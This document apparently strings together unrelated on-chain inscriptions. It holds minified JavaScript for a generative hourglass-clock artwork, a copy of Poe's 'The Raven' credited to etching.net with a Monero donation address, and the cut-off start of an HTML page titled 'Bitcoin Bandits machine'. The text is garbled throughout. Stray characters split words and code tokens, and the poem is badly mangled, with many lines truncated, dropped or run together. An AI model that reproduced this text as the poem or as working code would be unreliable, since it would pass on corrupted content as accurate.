,s,this.time):1==t&&this.drawShadowCircle(e,s),e.fill(255,255,255,255),e.blendMode(REMOVE),this.drawShape(e,this.topline),this.drawShape(e,this.bottomline),e.blendMode(BLEND)}drawShadowNormal(e,t,i){let s=floor(i.getMinutes()/10),a=i.getMinutes()%10;e.push(),e.noFill(),e.strokeWeight(.005*this.maxR);for(let i=0;i<s;i++){let a=map(i,s,0,.2,.5),r=color(...Color.chromaToArray(t.alpha(a)));e.stroke(r),this.getAndDrawPolygon(e,this.xc+this.dx[2*i],this.yc+this.dy[2*i],this.poly,PI)}for(let i=0;i<a;i++){let s=map(i,a,0,.M
2,.5),r=color(...Color.chromaToArray(t.alpha(s)));e.stroke(r),this.getAndDrawPolygon(e,this.xc+this.dx[2*i+1],this.yc+this.dy[2*i+1],this.poly,0)}e.pop()}drawShadowCircle(e,t){e.push(),e.noStroke(),e.translate(this.xc,this.yc),e.rotate(PI+this.rotateAngle);for(let i=0;i<3;i++){let s=map(i,3,0,.2,.5),a=color(...Color.chromaToArray(t.alpha(s)));e.fill(a),this.getAndDrawPolygon(e,0,2.5*this.mainRadius,this.poly,PI),this.getAndDrawPolygon(e,0,2.5*-this.mainRadius,this.poly,0),e.rotate(PI/3)}e.pop(),e.push(),e.noFill(),M
e.strokeWeight(2),e.translate(this.xc,this.yc),e.rotate(-this.rotateAngle+PI/30);for(let i=0;i<3;i++){let s=map(i,3,0,.2,.5),a=color(...Color.chromaToArray(t.alpha(s)));e.stroke(a),this.getAndDrawPolygon(e,0,-this.mainRadius/2,this.poly,PI),this.getAndDrawPolygon(e,0,this.mainRadius/2,this.poly,0),e.rotate(-PI/3)}e.pop()}getAndDrawPolygon(e,t,i,s,a){let r=this.polygon(t,i,s,a);this.drawShape(e,r)}drawShape(e,t){e.beginShape();for(let i=0;i<t.length;i++)e.vertex(t[i].x,t[i].y);e.endShape(e.CLOSE)}polygon(e,t,i,s){leM
t a=(PI/2-this.startAngle)/i,r=0,h=[];h.push({x:e,y:t});let n=this.startAngle+s;for(let s=0;s<i;s++){let i=this.radiuses[r];r+=1;let s=e+cos(n)*i,o=t+sin(n)*i;h.push({x:s,y:o}),n+=a}r=this.poly,n=PI/2+a+s;for(let s=0;s<i;s++){r-=1;let i=this.radiuses[r],s=e+cos(n)*i,o=t+sin(n)*i;h.push({x:s,y:o}),n+=a}return h=h.filter((e=>!isNaN(e.x)&&!isNaN(e.y))),h}getSandRects=()=>this.sandRects;getTopLine=()=>this.topline;getBottomLine=()=>this.bottomline;getSecondTicked=()=>this.secondTicked}const WavePeriod={SHORT:"SHORT",MEM
DIUM:"MEDIUM",LONG:"LONG"},WaveHeight={SHORT:"SHORT",MEDIUM:"MEDIUM",TALL:"TALL"},WaveSpeed={SLOW:"SLOW",MEDIUM:"MEDIUM",FAST:"FAST"};class SandRenderer{static N_CURVE_POINT=50;static DROPDOWN_TIME=3;constructor(e,t,i,s,a,r,h,n){this.wCanvas=e.width,this.hCanvas=e.height,this.hInit=t,this.baseLine=this.transformCoord(i),this.baseH=s,this.baseS=a,this.baseL=r,this.curSecond=0,this.waveHeight=h.waveHeight,this.wavePeriod=h.wavePeriod,this.waveSpeed=h.waveSpeed,this.evolvePeriod=h.evolvePeriod,this.nSandLayer=6,this.lM
ayers=this.getLayers(),this._h=this.baseH,this._s=this.baseS,this._l=this.baseL,this.prevIteration=null,n.registerIterationChangeEvent(this.onIterationChange.bind(this));let o=n.getCurrentIteration();this.onIterationChange(o)}onIterationChange(e){null==this.prevIteration?this._h=this.getHue(this.baseH,0,e):this._h=this.getHue(this._h,this.prevIteration,e),this.prevIteration=e}getHue(e,t,i){let s=min(t,i),a=max(t,i);for(let r=s;r<a;r++){randomSeed(100*r+3);let s=random(1);if(this.evolvePeriod==EvolvePeriod.HOURLY?s=M
map(s,0,1,5,10):this.evolvePeriod==EvolvePeriod.DAILY?s=map(s,0,1,10,30):this.evolvePeriod==EvolvePeriod.MONTHLY&&(s=map(s,0,1,50,100)),i>t)for(e+=s;e>360;)e-=360;else for(e-=s;e<0;)e+=360}return e}update(e){this.time=e}getChroma(){return Color.getSandColorByIndex(0,this._h,this._s,this._l)}getBaseHSL(){return{h:this._h,s:this._s,l:this._l}}draw(e,t,i,s,a){this.nLayer=(this.time.getHours()+11)%12+1,t=this.transformCoord(t),e.background(0);let r=this.getChroma().luminance(.5).alpha(.25);e.background(color(...Color.cM
hromaToArray(r))),e.strokeWeight(1),this.layers.forEach((e=>{if(0==e.id)e.c=Color.getSandColorByIndex(e.id,this._h,this._s,this._l).luminance(.2).alpha(1);else{let t=map(e.id/this.nSandLayer,0,1,.5,.8);e.c=Color.getSandColorByIndex(e.id,this._h,this._s,this._l).alpha(t)}let s=map(i,0,1,e.baselineY,this.hInit),a=max(0,map(s,this.hInit,0,0,1)),r=Geometry.getPolyArea(t)*a;e.y=Geometry.getYByAreaBelow(t,r),e.y=map(e.y,0,this.hInit,.05*-this.hCanvas,this.hInit+.05*this.hCanvas)})),this.layers.forEach((i=>{s&&2*i.id<thisM
.nLayer&&this.drawDropdown(e,t,i,a)})),this.layers.forEach((t=>this.drawLayer(e,t)));let h=!1;this.time.getSeconds()!=this.curSecond&&(this.curSecond=this.time.getSeconds(),h=!0),GraphicUtils.applyMask(e,t)}transformCoord(e){let[t,i,s,a]=Geometry.getBoundingBox(e),r=t+s,h=i+a;return e.map((e=>{let n=map(e.x,t,r,-s/2,s/2)+this.wCanvas/2,o=map(e.y,i,h,0,a);return createVector(n,o)}))}getLayers(){let e=[];for(let t=0;t<this.nSandLayer;t++){let i,s=this.hInit/this.nSandLayer*t;this.waveSpeed==WaveSpeed.SLOW?i=random(.0M
08,.012):this.waveSpeed==WaveSpeed.MEDIUM?i=random(.016,.024):this.waveSpeed==WaveSpeed.FAST&&(i=random(.032,.048));let a,r,h=random(1e4);this.wavePeriod==WavePeriod.SHORT?a=random(2.7,3):this.wavePeriod==WavePeriod.MEDIUM?a=random(1.8,2):this.wavePeriod==WavePeriod.LONG&&(a=random(1.2,1.3)),this.waveHeight==WaveHeight.SHORT?r=this.hCanvas/30:this.waveHeight==WaveHeight.MEDIUM?r=this.hCanvas/24:this.waveHeight==WaveHeight.TALL&&(r=this.hCanvas/18);let n={mode:"DELTA_Y",deltaY:(e,t)=>map(sin(e*a*TAU+t*i+h),-1,1,-r,rM
)};e.push({id:t,baselineY:s,height:r,speed:i,seed:h,shape:n,stripe:{distance:random(.04*this.hInit,.08*this.hInit),height:random(.02*this.hInit,.04*this.hInit),stretch:random(1.2,1.5),colorTransform:e=>e.brighten(1.2)}})}return e}drawDropdown=(e,t,i,s)=>{let{c:a,shape:r}=i,h=Geometry.getBoundingBox(t)[3],n=this.time.getTime()/(1e3/60),o=createVector(this.wCanvas/2,0),l=createVector(this.wCanvas/2,h),d=[];for(let e=0;e<50;e++){let t=e/49,i=o.copy(),{x:s,y:a}=Vector.lerp(i,l,t);s+=r.deltaY(t,-n/5)*map(e,0,50,.1,1.5),M
d.push(createVector(s,a))}let m=map(s,0,SandRenderer.DROPDOWN_TIME,0,50);m=min(m,50),e.push(),e.noStroke(),e.fill(color(...Color.chromaToArray(a)));for(let t=0;t<m;t++)e.square(d[t].x,d[t].y,.004*this.hCanvas);e.pop()};drawLayer=(e,t)=>{if(2*t.id<this.nLayer){let i=this.getLayerPointline(t);this.drawWave(e,i,t),this.drawPattern(e,i,t,this.hCanvas/8,this.hCanvas/60),2*t.id+1<this.nLayer&&this.drawStripe(e,i,t)}};getLayerPointline=e=>{let{y:t,shape:i}=e,s=[],a=this.time.getTime()/(1e3/60);if("DELTA_Y"==i.mode){let e=M
createVector(0,t),r=createVector(this.wCanvas,t);for(let t=0;t<SandRenderer.N_CURVE_POINT;t++){let h=t/(SandRenderer.N_CURVE_POINT-1),n=e.copy(),{x:o,y:l}=Vector.lerp(n,r,h);l+=i.deltaY(h,a/5),s.push(createVector(o,l))}}else s=[start,end];return s};drawWave=(e,t,i)=>{let{c:s}=i;e.noStroke(),e.fill(color(...Color.chromaToArray(s))),e.beginShape(),e.vertex(0,this.hCanvas);for(let i=0;i<t.length;i++)e.vertex(t[i].x,t[i].y);e.vertex(this.wCanvas,this.hCanvas),e.endShape()};drawPattern=(e,t,i,s,a)=>{e.noStroke();for(letM
 i=a;i<=s;i+=a){let a=map((i-1)/(s-1),0,1,.2,0);e.fill(0,255*a),e.beginShape();for(let s=0;s<t.length;s++)e.vertex(t[s].x,t[s].y+i);for(let s=t.length-1;s>=0;s--)e.vertex(t[s].x,t[s].y+(i-1));e.endShape()}};drawStripe=(e,t,i)=>{let{c:s,stripe:{distance:a,height:r,stretch:h,colorTransform:n}}=i;e.noStroke();let o=n(s),l=color(...Color.chromaToArray(o)),d=s.alpha();l.setAlpha(255*d),e.fill(l),e.beginShape();for(let i=0;i<t.length;i++)e.vertex(t[i].x*h,t[i].y+a);for(let i=t.length-1;i>=0;i--)e.vertex(t[i].x*h,t[i].y+aM
+r);e.endShape()}}new Q5("global");let wCanvas,hCanvas,canvas,timeController,hourglass,layerBackground,layerSandTop,layerSandBottom,layerHourglass,renBackground,renSandTop,renSandBottom,renHourglass,renPostProcessing,traits,prevSpeed,showMode,currentTime,maxFps=60;setup=()=>{setupRandom(),setupTraits(),setupSketch()},setupRandom=()=>{let e=p5seed;randomSeed(e),noiseSeed(e)},setupTraits=()=>{let e=getRandomInt(1,10),t=getRandomItem([[HourglassSize.MEDIUM,70],[HourglassSize.LARGE,30]]),i=getRandomItem([[WaveHeight.SHM
ORT,1],[WaveHeight.MEDIUM,1],[WaveHeight.TALL,1]]),s=getRandomItem([[WavePeriod.SHORT,1],[WavePeriod.MEDIUM,1],[WavePeriod.LONG,1]]),a=getRandomItem([[WaveSpeed.SLOW,1],[WaveSpeed.MEDIUM,1],[WaveSpeed.FAST,1]]),r=getRandomItem([[EvolvePeriod.HOURLY,60],[EvolvePeriod.DAILY,35],[EvolvePeriod.MONTHLY,5]]),h=getRandomItem([[1,5],[2,20],[3,50],[4,20],[5,5]]),n=getPatternOrder(),o=getRandomItem(AngelNumber.map((e=>[e[0],1]))),l=getRandomItem(BlissLimit.map((e=>[e[0],e[2]])));traits={waveHeight:i,wavePeriod:s,waveSpeed:a,M
evolvePeriod:r,color:e,hourglassSize:t,poly:h,patternOrder:n,angelNumber:o,blissLimit:l},console.log(traits)},getPatternOrder=()=>{let e=[],t=[1,2,3,4],i=getRandomItem([[1,.6],[2,.1],[3,.15],[4,.15]]);e.push(i),patternChosen=t.indexOf(i),x=t.splice(patternChosen,1);for(let s=0;s<3;s++)i=random(t),e.push(i),patternChosen=t.indexOf(i),x=t.splice(patternChosen,1);return e},setupSketch=()=>{frameRate(maxFps),frameCount=0,wCanvas=windowWidth,hCanvas=windowHeight,canvas=createCanvas(wCanvas,hCanvas),showMode=0,timeControM
ller=new TimeController(traits),hourglass=new Hourglass(traits,timeController);let e=getRandomInt(0,361),t=getRandomInt(30,101),i=getRandomInt(50,101);Color.setColorMode(traits.color),layerBackground=createGraphics(wCanvas,hCanvas),renBackground=new BackgroundRenderer(layerBackground,e,t,i,traits,timeController),layerHourglass=createGraphics(wCanvas,hCanvas),renHourglass=new HourglassRenderer(layerHourglass,traits,timeController);let s=renHourglass.getSandRects(wCanvas,hCanvas),a=renHourglass.getTopLine(),r=renHourM
glass.getBottomLine(),h=createVector(s[0][2],s[0][3]).mag();layerSandTop=createGraphics(h,h),layerSandBottom=createGraphics(h,h),renSandTop=new SandRenderer(layerSandTop,s[0][3],a,e,t,i,traits,timeController),renSandBottom=new SandRenderer(layerSandBottom,s[0][3],r,e,t,i,traits,timeController),imgSandTop=createGraphics(wCanvas,hCanvas),imgSandBottom=createGraphics(wCanvas,hCanvas),renPostProcessing=new PostProcessing(wCanvas,hCanvas,traits),GrainRenderer.setup(wCanvas,hCanvas),prevSpeed=1},draw=()=>{let e=0==showMoM
de||1==showMode,t=0==showMode||2==showMode,{time:i,state:s,speed:a,paused:r,isLive:h,realDelta:n}=timeController.step();hourglass.update(i),renSandTop.update(i),renSandBottom.update(i),renBackground.update(i);let o=4==s?1:0,{top:l,rotation:d,flipped:m,timeSinceRotation:p}=hourglass.getState();renHourglass.update(i,d);let g=renSandTop.getChroma(),c=renSandTop.getBaseHSL();if(background(255),renBackground.draw(layerBackground,i,s,c,e),image(layerBackground,0,0),t){let e=renHourglass.getSandRects();renHourglass.draw(lM
ayerHourglass,o,g),renSandTop.draw(layerSandTop,renHourglass.getTopLine(),1-l,!m,p),renSandBottom.draw(layerSandBottom,renHourglass.getBottomLine(),l,m,p),image(layerSandTop,...e[0],(layerSandTop.width-e[0][2])/2,0,e[0][2],e[0][3]),image(layerSandBottom,...e[1],(layerSandBottom.width-e[1][2])/2,0,e[1][2],e[1][3]),image(layerHourglass,0,0)}let u=renHourglass.getSecondTicked();GrainRenderer.applyGrainToMainCanvas(u),renPostProcessing.updateFilter(a,r,h),prevSpeed=a,renPostProcessing.applyToMainCanvas(),currentTime=i}M
,keyPressed=()=>{"+"!=key&&"="!=key||timeController.setFasterSpeed(),"-"==key&&timeController.setSlowerSpeed(),keyCode==LEFT_ARROW&&timeController.jumpBackward(),keyCode==RIGHT_ARROW&&timeController.jumpForward(),keyCode==ESCAPE&&timeController.resumeLive()," "==key&&timeController.togglePause(),"T"!=key&&"t"!=key||(showMode=(showMode+1)%3),"S"!=key&&"s"!=key||saveCanvasAtCurrentTime()},saveCanvasAtCurrentTime=()=>{let e=60*new Date(currentTime).getTimezoneOffset()*1e3,t=new Date(currentTime-e).toISOString().slice(M
0,-1);save(t+".png")};const EvolvePeriod={HOURLY:"HOURLY",DAILY:"DAILY",MONTHLY:"MONTHLY"},AngelNumber=[["11/111/1111",["1:1","1:11","11:1","11:11"],["1/1","11/1","1/11","11/11"]],["22/222/2222",["2:2","2:22","22:2","22:22"],["2/2","22/2"]],["33/333/3333",["3:3","3:33"],["3/3"]],["44/444/4444",["4:4","4:44"],["4/4"]],["55/555/555",["5:5","5:55"],["5/5"]],["66/666/6666",["6:6"],["6/6"]],["77/777/7777",["7:7"],["7/7"]],["88/888/8888",["8:8"],["8/8"]],["99/999/9999",["9:9"],["9/9"]],["1212",["12:12"],["12/12"]],["399/M
339",["3:39"],["3/3","9/3","3/9","9/9"]],["83/8833",["8:3"],["8/3","3/8"]],["72/7722",["7:2"],["7/2","2/7"]],["633/6363",["6:3","6:33"],["6/3","3/6"]],["588",["5:8","8:58"],["8/5","5/8","8/8"]],["446/4646",["4:6","4:46"],["4/4","6/4","4/6"]],["000",[],[]],["1010",["10:10"],["10/10"]],["1017",["10:17","17:10"],["17/10"]],["1022",["10:22","22:10"],["22/10"]],["1313",["13:13"],["1/3","3/1"]],["1444",["14:44"],["4/1","1/4","4/4"]],["2020",["20:20"],["2/2"]]],BlissLimit=[["Forever",-1,3],["2",2,40],["5",5,30],["10",10,2M
0],["20",20,7]];class TimeController{constructor(e){this.speeds=[-3600,-60,-10,-3,1,3,10,60,3600],this.defaultSpeedLevel=4,this.evolvePeriod=e.evolvePeriod,this.angelNumber=e.angelNumber,this.blissLimit=e.blissLimit,this.timestamp=Date.now(),this.prevRealTimestamp=this.timestamp,this.paused=!1,this.speedLevel=this.defaultSpeedLevel;let t=new Date(this.timestamp);this.iteration=this.getIteration(t),this.prevBliss=this.getPrevBliss(t,1),this.iterationChangeHandlers=[]}getCurrentIteration=()=>this.iteration;getIteratiM
on(e){let t,i=e.getTime()-60*e.getTimezoneOffset()*1e3;return this.evolvePeriod==EvolvePeriod.HOURLY?t=floor(i/36e5):this.evolvePeriod==EvolvePeriod.DAILY?t=floor(i/864e5):this.evolvePeriod==EvolvePeriod.MONTHLY&&(t=12*(e.getFullYear()-1970)+e.getMonth()),t}registerIterationChangeEvent(e){this.iterationChangeHandlers.push(e)}unregisterIterationChangeEvent(e){this.iterationChangeHandlers=this.iterationChangeHandlers.filter((t=>t!=e))}step(){let e=Date.now(),t=e-this.prevRealTimestamp,i=this.speeds[this.speedLevel],sM
=this.paused?0:i;this.timestamp+=t*s,this.timestamp=this.limitTimestamp(this.timestamp);let a=new Date(this.timestamp),r=this.getStateFromTime(a);this.updateIteration(a),this.prevRealTimestamp=e;let h=this.timestamp==e;return{time:a,state:r,speed:i,paused:this.paused,isLive:h,realDelta:t}}updateIteration(e){let t=this.getIteration(e);t!=this.iteration&&(this.iterationChangeHandlers.forEach((e=>e(t))),this.iteration=t)}getStateFromTime(e){let t,i,s=e.getHours(),a=e.getMinutes(),r=e.getDate(),h=e.getMonth()+1;if("000M
"==this.angelNumber)i=0==s&&0==a,t=i&&1==r&&1==h;else{let e=`${s}:${a}`,n=`${h}/${r}`,o=AngelNumber.filter((e=>e[0]==this.angelNumber))[0];i=o[1].includes(e),t=o[2].includes(n)}return i&&t?4:t?3:i?2:1}limitTimestamp(e){let t=BlissLimit.filter((e=>e[0]==this.blissLimit))[0][1],i=Date.now(),s=this.getPrevBliss(new Date,t);return e>i?(e=i,this.resetSpeed()):e<s&&(e=s,this.resetSpeed()),e}getPrevBliss(e,t){if(-1==t)return 0;let i=e.getTime()-e.getMilliseconds()-1e3*e.getSeconds();for(;t>0;){i-=6e4;let e=this.getStateFrM
omTime(new Date(i));2!=e&&4!=e||(t-=1)}return i}getNextBliss(e,t){if(-1==t)return Date.now();let i=e.getTime()-e.getMilliseconds()-1e3*e.getSeconds();for(;t>0;){i+=6e4;let e=this.getStateFromTime(new Date(i));2!=e&&4!=e||(t-=1)}return i}togglePause(){this.paused=!this.paused}setFasterSpeed(){this.speedLevel=min(this.speedLevel+1,this.speeds.length-1),this.paused=!1}setSlowerSpeed(){this.speedLevel=max(this.speedLevel-1,0),this.paused=!1}jumpForward(){let e=new Date(this.timestamp);this.timestamp=this.getNextBliss(eM
,1),this.timestamp=this.limitTimestamp(this.timestamp),this.resetSpeed()}jumpBackward(){let e=new Date(this.timestamp);this.timestamp=this.getPrevBliss(e,1),this.timestamp=this.limitTimestamp(this.timestamp),this.resetSpeed()}resetSpeed(){this.speedLevel=this.defaultSpeedLevel,this.paused=!1}resumeLive(){this.timestamp=Date.now(),this.resetSpeed()}}
text/plain;charset=utf-8
Once upon a midnight dreary, while I pondered, weak and weary,
Over many a quaint and curious volume of forgotten lore
    While I nodded, nearly napping, suddenly there came a tapping,
As of some one gently rapping, rapping at my chamber door.
tapping at my chamber door
            Only this and nothing more.
    Ah, distinctly I remember it was in the bleak December;
And each separate dying ember wrought its ghost upoM
    Eagerly I wished the morrow;
vainly I had sought to borrow
    From my books surcease of sorrow
sorrow for the lost Lenore
For the rare and radiant maiden whom the angels name Lenore
            Nameless here for evermore.
    And the silken, sad, uncertain rustling of each purple curtain
filled me with fantastic terrors never felt before;
    So that now, to still the beating of my heart, I stood repeating
Tis some visitor entreating entrance at my chambM
Some late visitor entreating entrance at my chamber door;
            This it is and nothing more.
    Presently my soul grew stronger; hesitating then no longer,
or Madam, truly your forgiveness I implore;
    But the fact is I was napping, and so gently you came rapping,
    And so faintly you came tapping, tapping at my chamber door,
That I scarce was sure I heard you
here I opened wide the door;
            Darkness there and nothing more.
o that darkness peering, long I stood there wondering, fearing,
Doubting, dreaming dreams no mortal ever dared to dream before;
    But the silence was unbroken, and the stillness gave no token,
    And the only word there spoken was the whispered word,
This I whispered, and an echo murmured back the word,
            Merely this and nothing more.
    Back into the chamber turning, all my soul within me burning,
Soon again I heard a tapping somewhat louder than before.
surely that is something at my window lattice;
      Let me see, then, what thereat is, and this mystery explore
Let my heart be still a moment and this mystery explore;
Tis the wind and nothing more!
    Open here I flung the shutter, when, with many a flirt and flutter,
In there stepped a stately Raven of the saintly days of yore;
    Not the least obeisance made he; not a minute stopped or stayed he;
    But, with mien of lord or lady, perched above my chaM
Perched upon a bust of Pallas just above my chamber door
            Perched, and sat, and nothing more.
Then this ebony bird beguiling my sad fancy into smiling,
By the grave and stern decorum of the countenance it wore,
Though thy crest be shorn and shaven, thou,
Ghastly grim and ancient Raven wandering from the Nightly shore
Tell me what thy lordly name is on the Night
            Quoth the Raven
h I marvelled this ungainly fowl to hear discourse so plainly,
Though its answer little meaning
little relevancy bore;
    For we cannot help agreeing that no living human being
    Ever yet was blessed with seeing bird above his chamber door
Bird or beast upon the sculptured bust above his chamber door,
            With such name as
    But the Raven, sitting lonely on the placid bust, spoke only
That one word, as if his soul in that one word he did outpour.
    Nothing farther thenM
not a feather then he fluttered
    Till I scarcely more than muttered
Other friends have flown before
On the morrow he will leave me, as my Hopes have flown before.
            Then the bird said
    Startled at the stillness broken by reply so aptly spoken,
what it utters is its only stock and store
    Caught from some unhappy master whom unmerciful Disaster
    Followed fast and followed faster till his songs one burden bore
l the dirges of his Hope that melancholy burden bore
    But the Raven still beguiling all my fancy into smiling,
Straight I wheeled a cushioned seat in front of bird, and bust and door;
    Then, upon the velvet sinking, I betook myself to linking
    Fancy unto fancy, thinking what this ominous bird of yore
What this grim, ungainly, ghastly, gaunt, and ominous bird of yore
            Meant in croaking
    This I sat engaged in guessing, bM
ut no syllable expressing
To the fowl whose fiery eyes now burned into my bosom
    This and more I sat divining, with my head at ease reclining
s velvet lining that the lamp-light gloated o
But whose velvet-violet lining with the lamp-light gloating o
            She shall press, ah, nevermore!
    Then, methought, the air grew denser, perfumed from an unseen censer
Swung by Seraphim whose foot-falls tinkled on the tufted floor.
by these angels he hath sent thee
respite and nepenthe from thy memories of Lenore;
Quaff, oh quaff this kind nepenthe and forget this lost Lenore!
            Quoth the Raven
prophet still, if bird or devil!
Whether Tempter sent, or whether tempest tossed thee here ashore,
    Desolate yet all undaunted, on this desert land enchanted
    On this home by Horror haunted
tell me truly, I implore
is there balm in Gilead?
            Quoth the Raven
prophet still, if bird or devil!
By that Heaven that bends above us
by that God we both adore
    Tell this soul with sorrow laden if, within the distant Aidenn,
    It shall clasp a sainted maiden whom the angels name Lenore
Clasp a rare and radiant maiden whom the angels name Lenore.
            Quoth the Raven
Be that word our sign of parting, bird or fiend!
 I shrieked, upstarting
Get thee back into the tempest and the Night
    Leave no black plume as a token of that lie thy soul hath spoken!
    Leave my loneliness unbroken!
quit the bust above my door!
Take thy beak from out my heart, and take thy form from off my door!
            Quoth the Raven
    And the Raven, never flitting, still is sitting, still is sitting
On the pallid bust of Pallas just abM
ove my chamber door;
    And his eyes have all the seeming of a demon
    And the lamp-light o
er him streaming throws his shadow on the floor;
And my soul from out that shadow that lies floating on the floor
            Shall be lifted
From poetryfoundation.org
Inscribed by etching.net
Support the preservation of knowledge and culture with Monero (XMR):
8BJ22Qyugx7Q5bxGYarK7TZ5GSwXiqWNRDRKvx2LLrnhgqGEhpG9XFEWd4z5PaJLFLM2CjbEC15wWVSdD3PKiKrD1RMV
text/html;charset=utf-8
<html lang="en"><head><meta charset="UTF-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content=""><title>Bitcoin Bandits machine</title><style>html{height:100%;background:#3b474e}body{height:100%;width:100%;margin:0;display:flex;flex-direction:column;align-items:center}.container{height:100%;position:relative}.background{height:100%}.game{height:20.3vh;width:20.3vh;border:#3b474e;border-width:1px;margin-left:auto;margin-right:auto;left:0;right:0;margin-top:22.7vh;top:0;position:absolM
ute}#gamecanvas{height:100%;width:100%}</style></head><body><div class="container"><img src="data:image/png;base64, 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
